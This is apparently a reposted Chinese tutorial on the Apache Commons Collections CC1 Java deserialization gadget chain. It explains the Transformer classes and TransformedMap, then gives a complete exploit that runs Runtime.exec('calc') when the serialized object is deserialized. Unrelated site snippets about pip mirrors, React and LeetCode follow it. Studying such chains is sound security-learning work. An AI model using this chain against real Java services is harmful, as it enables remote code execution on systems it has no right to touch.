[Java安全入门]三.CC1链

1.前言

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强大的数据结构类型和实现了各种集合工具类。Commons Collections触发反序列化漏洞构造的链叫做cc链,构造方式多种,这里先学习cc1链。

2.环境

jdk-8u65
Commons Collections3.2.1

3.分析

3.1基础链子

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;public class Cc1 {public static void main(String[] args) {ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null,new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})});chain.transform(123);}
}

3.2分析几个重要的接口和类

Transformer接口

public interface Transformer {Object transform(Object var1);
}

这个接口其实就是一个转换器,完成不同的数据类型转换

ConstantTransformer类

public class ConstantTransformer implements Transformer, Serializable {private static final long serialVersionUID = 6374440726369055124L;public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);private final Object iConstant;public static Transformer getInstance(Object constantToReturn) {return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));}public ConstantTransformer(Object constantToReturn) {this.iConstant = constantToReturn;}public Object transform(Object input) {return this.iConstant;}public Object getConstant() {return this.iConstant;}
}

该类实现Transformer接口,其构造器将传入的参数传递给iConstant变量,类里面的transform方法将iConstant的值返回。如果传入参数是一个恶意对象,当调用transform的时候就可能会产生不好结果。

InvokerTransformer类

该类也实现了Transformer接口

看其构造器

 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}

第一个参数为方法,第二个参数为传入的参数数组,第三个参数为对象数组

该类的transform方法可以执行任意方法

 public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}

其中return method.invoke(input,iArgs)是实现反序列化漏洞的关键,通过放射获取input的类,然后调用该类的iMethodName方法。

ChainedTransformer类

ChainedTransformer implements Transformer, Serializable {/** Serial version UID */private static final long serialVersionUID = 3514945074733160196L;/** The transformers to call in turn */private final Transformer[] iTransformers;/*** Factory method that performs validation and copies the parameter array.* * @param transformers  the transformers to chain, copied, no nulls* @return the <code>chained</code> transformer* @throws IllegalArgumentException if the transformers array is null* @throws IllegalArgumentException if any transformer in the array is null*/public static Transformer getInstance(Transformer[] transformers) {FunctorUtils.validate(transformers);if (transformers.length == 0) {return NOPTransformer.INSTANCE;}transformers = FunctorUtils.copy(transformers);return new ChainedTransformer(transformers);

该类也实现了Transformer接口

看其构造器

 public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers;}

iTransformers为其传入的参数,是一个接口类型的数组

看其transform方法

  public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}

该方法会遍历所有接口类型数组,然后调用其transform方法,并且结构作为下一次循环的参数

3.3过程分析

hainedTransformer chain = new ChainedTransformer(new Transformer[] ...)

最外层是实例化一个ChainedTransformer类,参数是一个Transformer接口类数组。

new ConstantTransformer(Runtime.class)

第一个类是ConstantTransformer,构造时传入了一个Runtime类,所以ConstantTransformer.iConstant=Runtime.class

new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]})

第二个类是InvokerTransformer类,构造时,方法名为传入的是getMethod,参数类型传入的是String类型和Class[]类型,参数为getRuntime和一个空的Class类型数组

new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,new Object[0]})

第三个类还是InvokerTransformer类,传入的方法名是invoke,参数类型是Object类型和Object数组类型,第一个参数是null,第二个参数是空的Object数组

 new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"calc"})}

第三个类还是InvokerTransformer类,传入的方法名是exec,参数类型是String类型,参数值是calc

chain.transform(123);

传入这些有transformer接口的类之后,执行ChainedTransformer里面的transform方法实现命令执行

仔细分析chain.transform方法

 public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}

遍历传入所有类的transform方法

Ⅰ.执行ConstantTransformer.transform,返回Runtime.class Object=Runtime.class.

public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn;}

Ⅱ.执行InvokerTransformer.transform,input为Runtime.class,先反射获取这个类,Class cls=input.getClass(),然后cls就变成了Class类,无法直接通过getMethod获取getRuntime方法,所以通过嵌套,让method写成getMethod方法,然后invoke的时候再对Runtime.class调用getRuntime方法,这样object就变成了Runtime.getRuntime

Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);

Ⅲ.input为Runtime.getRuntime,同样通过嵌套,先使method为invoke方法,然后再对    Runtime.getRuntime使用invoke(method)调用exec方法,参数为calc,然后弹出计算器

Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

4.找利用链

4.1 TransformedMap

已知InvokerTransformer类可以调用transform方法执行命令,那接下来的思路就是寻找还有其他什么地方调用了InvokerTransformer类的transform方法,并且最终通过readObject重写进行反序列化

主要是其中三个Map类

先看TransformedMap

   protected Object transformKey(Object object) {if (keyTransformer == null) {return object;}return keyTransformer.transform(object);}protected Object checkSetValue(Object value) {return valueTransformer.transform(value);}

两个方法都调用了transform方法,这里利用checkSetValue()

 protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}

构造器接受三个参数,第一个是Map类型,然后两个Transformer类型,Map可以利用在上一篇URLDNS里面利用的HashMap,其重写了readObject方法。

keyTransformer和valueTransformer都是protected类型,不能在外部调用,所以要找TransformedMap什么方法调用了构造函数

 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}

巧的是decorate调用了构造函数

然后找哪里调用了TransformedMap类的checkSetValue方法

发现在AbstractInputCheckedMapDecorator类的继承类Mapentry调用了checkSetValue

  static class MapEntry extends AbstractMapEntryDecorator {/** The parent map */private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);}}

更好的是AbstractInputCheckedMapDecorator是TransformedMap类的父类

public class TransformedMapextends AbstractInputCheckedMapDecorator

AbstractMapEntryDecorator又引入了Map.Entry接口,只要进行常用的Map遍历,就可以调用setValue(),然后就能调用checkSetValue

4.2简单例子

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws  IllegalAccessException, NoSuchMethodException{InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});//先构造一个invokerHashMap hashMap=new HashMap();//用HashMap传入decoratehashMap.put(1,1);Map<Object,Object> transformedMap=TransformedMap.decorate(hashMap,null,invokerTransformer);//构造好TransformedMap,现在需要触发checkSetValue并把指令传进去Runtime cmd=Runtime.getRuntime();for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(cmd);}//通过遍历Map,调用setValue触发checkSetValue}
}

然后再找哪里调用了setValue方法

发现 AnnotationInvocationHandler 类的readObject方法调用了setValue,非常nice

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}
}
String name = memberValue.getKey();

AnnotationInvocationHandler 类并不是public类型,无法在外面通过名字调用,要用反射调用这个类

看构造函数

 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}

接受两个参数,一个class对象,class对象继承了Annotation,需要传入一个注解类,另一个参数 Map对象,而且readObject里面有对map的遍历,所以可以传入我们的Transformed类

如何反射获取AnnotationInvocationHandler 类,看下面代码

  Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object annotationConstructor=constructor.newInstance(Target.class,transformedMap);

4.3三个问题

1.Runtime类不可以序列化

2.执行setValue需要满足两个条件

3.setValue的值如何控制

问题1.Runtime类不可以序列化,但是Class可以序列化,需要用反射,用我们之前最基础的链子即可

 Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);//chainedTransformer.transform(Runtime.class);

问题2.两个if条件

 if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) 

memberType 不为空,注解类传入target就不会空

问题3.利用ConstantTransformer传值解决

5.最终exp

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Cc1 {public static void main(String[] args) throws  Exception {Transformer[] Transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。ChainedTransformer chainedTransformer = new ChainedTransformer(Transformers);//chainedTransformer.transform(Runtime.class);Map<Object, Object> hashMap = new HashMap<>();//用HashMap传入decoratehashMap.put("value", 1);Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);//构造好TransformedMap,现在需要触发checkSetValue并把指令传进去Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationHandlerConstructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);annotationInvocationHandlerConstructor.setAccessible(true);Object obj = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("tao.txt"));out.writeObject(obj);//序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream("tao.txt"));in.readObject();//反序列化// Runtime cmd=Runtime.getRuntime();//for(Map.Entry entry:transformedMap.entrySet())//{//   entry.setValue(cmd);//}//通过遍历Map,调用setValue触发checkSetValue}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/739682.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python使用国内镜像源

使用格式 格式为&#xff1a;pip install 库名 -i 镜像地址&#xff08;注意空格的存在&#xff09; pip install pandas -i https://pypi.tuna.tsinghua.edu.cn/simple 推荐的镜像源&#xff1a; 清华大学&#xff08;推荐&#xff09;&#xff1a;https://pypi.tuna.tsing…

知识文档管理系统平台:企业管理的王炸

无论是企业内部的文件共享&#xff0c;还是团队之间的协作编辑&#xff0c;知识文档管理系统都能发挥巨大的作用。它帮助企业整理、存储和查找各种文档资料&#xff0c;这不仅能提高企业的工作效率&#xff0c;还能增强企业的竞争力。今天就跟着LookLook同学一起来深入了解知识…

仿牛客项目Day6:账号设置——检查登录状态

账号设置 这个功能主要就是上传头像 在账户设置页可以点击上传头像&#xff0c;然后在首页可以改变头像&#xff08;获取头像&#xff09; 访问账号设置页面 controller getSettingPage的方法就是返回html页面 前端 改一下setting页面&#xff0c;index账号设置的url就可…

uView Toast 消息提示

Toast 组件主要用于消息通知、加载提示、操作结果提示等醒目提示效果&#xff0c;我们为其提供了多种丰富的API。 注意&#xff1a; 由于uni中无法通过js创建元素&#xff0c;所以需要在页面中调用<toast />组件&#xff0c;再通过ref开启 #平台差异说明 App&#xf…

代码随想录算法训练营第五十八天 739. 每日温度、 496.下一个更大元素 I

代码随想录算法训练营第五十八天 | 739. 每日温度、 496.下一个更大元素 I 739. 每日温度 题目链接&#xff1a;739. 每日温度 - 力扣&#xff08;LeetCode&#xff09; 情况一&#xff1a;当前遍历的元素T[i]小于栈顶元素T[st.top()]的情况 此时满足递增栈&#xff08;栈头…

安卓 修改系统时间

安卓 修改系统时间 参考资料实践修改 参考资料 链接&#xff1a;Android App 设置系统时间&#xff0c;语言和时区、系统重启_android断电重启后设置系统时间的类在哪-CSDN博客链接&#xff1a;【Android 应用】简单实测可行的获取NTP时间实例_android ntp地址-CSDN博客 实践…

ARMv8架构特殊寄存器介绍-1

1&#xff0c;ELR寄存器&#xff08;Exception Link Register &#xff09; The Exception Link Register holds the exception return address。 异常链接寄存器保存异常返回地址。最常用也很重要。 2&#xff0c;SPSR&#xff08;Saved Process Status Register&#xff09;…

react hook: useId

在 React 中直接编写 ID 并不是一个好的习惯。一个组件可能会在页面上渲染多次&#xff0c;但是 ID 必须是唯一的&#xff01;不要使用自己编写的 ID&#xff0c;而是使用 useId 生成唯一的 ID。 现在&#xff0c;即使 PasswordField 多次出现在屏幕上&#xff0c;生成的 ID 并…

Java中实现双向链表

一、目标 最近项目中实现双向链表&#xff0c;同时转为满二叉树。 二、代码 用java实现双向链表的代码如下&#xff1a; class TreeNode {int val;TreeNode left;TreeNode right;TreeNode(int x) { val x; } }public class FullBinaryTree {public TreeNode createTree(int[…

TypeScript 哲学 - Generic 和 ts表示构造函数

ts中 类的二义性 &#xff1a;做类型 和作为构造函数

基于PHP的店家服务与管理交互平台

目 录 摘 要 I Abstract II 引 言 1 1相关技术 3 1.1 PHP 3 1.2 ThinkPHP框架 3 1.2.1 Struts结构 3 1.2.2 MVC 3 1.2 Tomcat服务器 3 1.3 MySQL数据库 3 1.4 LayUI框架 4 1.5 ECharts 4 1.6 本章小结 4 2 系统分析 5 2.1 功能需求 5 2.2 用例分析 6 2.3 非功能需求 8 2.4 本章…

Vue3全家桶 - Vue3 - 【8】模板引用【ref】(访问模板引用 + v-for中的模板引用 + 组件上的ref)

模板引用【ref】 Vue3官网-模板引用&#xff1b;如果我们需要直接访问组件中的底层DOM元素&#xff0c;可使用vue提供特殊的ref属性来访问&#xff1b; 一、 访问模板引用 在视图元素上采用ref属性来设置需要访问的DOM元素&#xff1a; 该 ref 属性可采用 字符串 值的执行设…

PostgreSQL教程(三十九):客户端接口(三)之 信息模式

信息模式由一组视图构成&#xff0c;它们包含定义在当前数据库中对象的信息。信息模式以 SQL 标准定义&#xff0c;因此能够被移植并且保持稳定 — 系统目录则不同&#xff0c;它们是与PostgreSQL相关的并且是为了实现的考虑而建模的。不过&#xff0c;信息模式视图不包含与Pos…

RabbitMQ - 02 - 基本消息模型

目录 部署demo项目 什么是基本消息模型 实现基本消息模型 部署demo项目 首先配置好一个mq的练习demo,并配置好相关依赖 链接&#xff1a;https://pan.baidu.com/s/1oXAqgoz9Y_5V7YxC_rLa-Q?pwdv2sg 提取码&#xff1a;v2sg 如图 父xml文件已经配置好了 AMQP依赖了 什么…

js如何使多个接口串行访问,并行访问

可以使用async/await来保证多个接口串行访问。async/await提供了一种更清晰的方式来写异步代码&#xff0c;它会在等待一个异步操作完成之后再继续执行 async function fn(urls){ for(let i of urls){ let resawait $.fetch(i) } } fn([http://baidu.com,http://baidu.…

计算机408炸了给25考研人的几点警示

25年408考研&#xff0c;如果只用王道的复习资料&#xff0c;最多考100-120分 就是这么的现实&#xff0c;王道的资料虽然好&#xff0c;但是并不能覆盖全部的知识点和考点&#xff0c;而且24年的408真题考的很怪&#xff0c;总结起来就是下面这些特点&#xff1a; 偏&#xff…

安装PyTorch详细过程

安装anaconda 登录anaconda的官网下载&#xff0c;anaconda是一个集成的工具软件不需要我们再次下载。anaconda官网 跳转到这个页面如果你的Python版本正好是3.8版&#xff0c;那便可以直接根据系统去选择自己相应的下载版本就可以了。 但是如果你的Python版本号不是当前页面…

seata入门到实战三

seata datasourceProxy connectionProxy statementProxy和PreparedStatementProxy abstractStatementProxy SqlRecognizer Executor AT模式二阶段提交 一阶段 二阶段提交 全部事务执行成功 释放锁 提交并删除undo日志 二阶段回滚

科普,三分钟读懂高精度NTP时间服务器、时钟服务器

科普&#xff0c;三分钟读懂高精度NTP时间服务器、时钟服务器 科普&#xff0c;三分钟读懂高精度NTP时间服务器、时钟服务器 我们都知道北京时间作为我们国家的标准时间&#xff0c;是由中国科学院国家授时中心产生、保持和发播的。 中国科学院国家授时中心位于陕西西安临潼&…

【LeetCode: 380. O(1) 时间插入、删除和获取随机元素 + 数据结构设计】

&#x1f680; 算法题 &#x1f680; &#x1f332; 算法刷题专栏 | 面试必备算法 | 面试高频算法 &#x1f340; &#x1f332; 越难的东西,越要努力坚持&#xff0c;因为它具有很高的价值&#xff0c;算法就是这样✨ &#x1f332; 作者简介&#xff1a;硕风和炜&#xff0c;…